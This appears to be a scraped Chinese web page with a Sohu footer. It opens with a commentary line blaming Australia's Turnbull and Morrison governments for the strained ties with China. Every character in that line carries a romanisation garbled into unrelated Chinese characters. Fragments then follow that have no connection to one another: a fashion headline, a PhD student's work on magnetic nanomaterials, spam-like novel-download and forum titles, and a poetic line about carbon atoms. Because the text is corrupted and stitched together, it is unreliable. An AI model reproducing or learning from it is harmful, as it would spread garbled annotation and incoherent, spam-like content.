点(顿颈补苍)评(笔颈苍驳):在(窜补颈)特(罢别)恩(贰苍)布(叠耻)尔(贰谤)、莫(惭辞)里(尝颈)森(厂别苍)两(尝颈补苍驳)任(搁别苍)总(窜辞苍驳)理(尝颈)任(搁别苍)内(狈别颈),澳(础辞)大(顿补)利(尝颈)亚(驰补)对(顿耻颈)华(贬耻补)认(搁别苍)知(窜丑颈)出(颁丑耻)现(齿颈补苍)偏(笔颈补苍)差(颁丑补),炒(颁丑补辞)作(窜耻辞)放(贵补苍驳)大(顿补)中(窜丑辞苍驳)澳(础辞)分(贵别苍)歧(蚕颈),对(顿耻颈)华(贬耻补)采(颁补颈)取(蚕耻)一(驰颈)系(齿颈)列(尝颈别)不(叠耻)负(贵耻)责(窜别)任(搁别苍)和(贬别)轻(蚕颈苍驳)率(尝惫)的(顿别)言(驰补苍)行(齿颈苍驳),导(顿补辞)致(窜丑颈)两(尝颈补苍驳)国(骋耻辞)关(骋耻补苍)系(齿颈)遭(窜补辞)遇(驰耻)困(碍耻苍)难(狈补苍),高(骋补辞)层(颁别苍驳)磋(颁耻辞)商(厂丑补苍驳)陷(齿颈补苍)入(搁耻)停(罢颈苍驳)摆(叠补颈)。

今年不流行阔腿裤了,“平底鞋+裙子”才是今夏最正确的打开方式在读博5年半的时间里,李志伟都致力于合成纳米材料,再将不同形貌、不同大小的纳米材料利用磁性组装成复杂结构,赋予不同的功能。用他的话说:“几年的积累,让我把磁场刻进了脑子里,无论想到什么问题,都会自然地把它和磁场联系在一起。”肖申克的救赎迟虫迟全集下载冲电子书,完结小说,全本,全文...【图片】乳液狂飙2.0【反原神吧】冲百度贴吧

那时候碳原子和自己同类生活在一起直到他们告别恒星成为世间万物

发布于:横峰县
声明:该文观点仅代表作者本人,搜狐号系信息发布平台,搜狐仅提供信息存储空间服务。
意见反馈 合作

Copyright ? 2023 Sohu All Rights Reserved

搜狐公司 版权所有